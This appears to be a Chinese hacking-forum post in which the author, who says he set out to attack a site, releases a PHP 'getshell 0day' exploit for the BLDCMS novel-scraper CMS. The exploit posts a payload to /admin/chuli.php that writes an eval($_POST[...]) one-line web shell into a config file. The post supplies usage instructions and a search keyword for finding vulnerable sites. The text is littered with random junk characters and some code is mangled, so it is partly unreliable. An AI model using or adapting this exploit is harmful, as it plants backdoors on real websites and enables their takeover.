之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞$ t& G: a5 j2 i) y# ` O& v5 f4 F
$ E" ^( q' P) r& r' h
Q H- x+ ~3 G
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
7 z7 N+ S0 S9 ?+ ~0 N7 N $ h" O+ g, G! `. D# G4 ~
既然都有人发了 我就把我之前写好的EXP放出来吧
. ?" ?& o6 f0 d7 G 0 [# F* h- Y9 p8 y: l7 O* y
view source print?01.php;">
+ }3 s* e! k% a5 z- e8 q02.<!--?php3 d, P& O7 E: k" p
03.echo "-------------------------------------------------------------------
6 I- d* [- J4 K8 M( H1 S) H04.
s5 {3 w5 U( G! O+ T05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP0 Z& R& C! ]$ C9 V3 s
06.
4 P& R) H" a! r, t7 G% U$ x07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
1 H0 r/ k2 A/ c# H' s: h08. 6 C0 `# Z: N. ^- [! E7 e. C9 q
09.QQ:981009941\r\n 2013.3.21\r\n
) o# w" V0 I0 O- \3 h10.
7 x3 E' e( K/ b$ g3 ~5 o- {11.
, i, r- X' Y# H" j' b( m12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码8 v# i3 b$ F- J8 n" j) M5 K
13. V0 e3 E, [. K
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------, o( T% [7 C. h" X/ L& A
15. # \; v! U! M7 g* w
16.--------------------------------------------------------------------\r\n";% T# V$ m% C, L: l. u+ h# k
17.$url=$argv[1];2 I0 U' l/ B+ R; S# E0 l: C) ^: _
18.$dir=$argv[2];
1 s! e* F# a% D0 M19.$pass=$argv[3];
0 |, F# }7 o" b20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';. G% |& G7 ~0 G1 H
21.if (emptyempty($pass)||emptyempty($url))6 h5 N8 |; I" C( P/ ]
22.{exit("请输入参数");}
! g+ I. f2 w, B23.else% R6 p& r5 X; ?+ P: a! X
24.{& D/ I$ [5 [' W9 _- J
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
) A/ k0 s2 p& N( K1 G) S& M% p26.
" b$ L9 t5 c7 C% g27.al;
7 e0 \$ B, T( m! g4 [" W' T% q: @28.$length = strlen($fuckdata);
9 x! E: m8 t( T8 ~29.function getshell($url,$pass)& ]6 v. B1 K: k# D2 G2 k- s. `
30.{0 V# u- b9 x3 ]/ o* p
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
& n. t0 S( k B: j7 V1 l+ o# t2 j8 V# X32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";. f; W' Q5 q$ |$ ?& i- \7 G
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n"; k6 o9 p/ T( z7 L5 B
34.$header .= "User-Agent: MSIE\r\n"; B+ G5 w( m( ?# V2 U* G
35.$header .= "Host:".$url."\r\n";0 M2 t' w9 D* R. @
36.$header .= "Content-Length: ".$length."\r\n";' ]6 g& c# A8 w) E$ E: U
37.$header .= "Connection: Close\r\n";
' ?/ J4 u- @5 S38.$header .="\r\n";# l8 L1 o; c% Q% y9 W. }; V
39.$header .= $fuckdata."\r\n\r\n";
& U, t7 A( |3 h2 p. F40.$fp = fsockopen($url, 80,$errno,$errstr,15);0 I$ H( u6 _9 h$ [2 G0 p* X
41.if (!$fp)1 ?/ p' c, p: S$ [, A
42.{
4 I* J' H: {: |9 P7 {) q4 C43.exit ("利用失败:请检查指定目标是否能正常打开");- Y8 |' y; ?/ N, e
44.}
8 L9 x8 f" y$ X& d- k5 }4 O45.else{ if (!fputs($fp,$header))
5 i+ ?# {1 ~2 G( h) g46.{exit ("利用失败");}( _& ^1 S$ u% z2 @" P9 S; h
47.else6 O# ^! F A' C
48.{
7 @! b9 }! ?# d% h5 I/ s& |49.$receive = '';
: u: {5 R' Z6 u% @50.while (!feof($fp)) { F3 ^' b5 j/ s% Z3 J! P5 n8 E
51.$receive .= @fgets($fp, 1000);
! S+ f9 R+ S) s8 O7 B3 R& }* S m52.}1 s6 `+ Y, @+ T* V1 P4 [$ A
53.@fclose($fp);. Q. o8 L$ ~" k$ P% R
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
/ U& s. I: e9 L7 u7 s+ U; u' c3 w+ a55. 7 K$ p# c5 J# R5 a( O! ~% E$ t" b4 j
56.GPC是否=off)";
% ]. t0 L0 k3 P" H8 n4 u57.}}7 K* n! U; C/ ^; `# _9 P
58.}. o; [5 i; o5 ~0 H1 n& U( K0 o
59.}
* b% |3 j* U6 _6 X1 k. I9 j60.getshell($url,$pass);( G3 M h" t# L' m, R5 P4 N. V+ q
61.?--> S' g! k N# A( w
+ g }$ b3 I0 T4 j3 t! u) B- ~) W+ }6 E4 |
* L- k8 N) ^" W8 rby 数据流
& E5 D2 v. I# o0 q- D4 y5 R& I* q |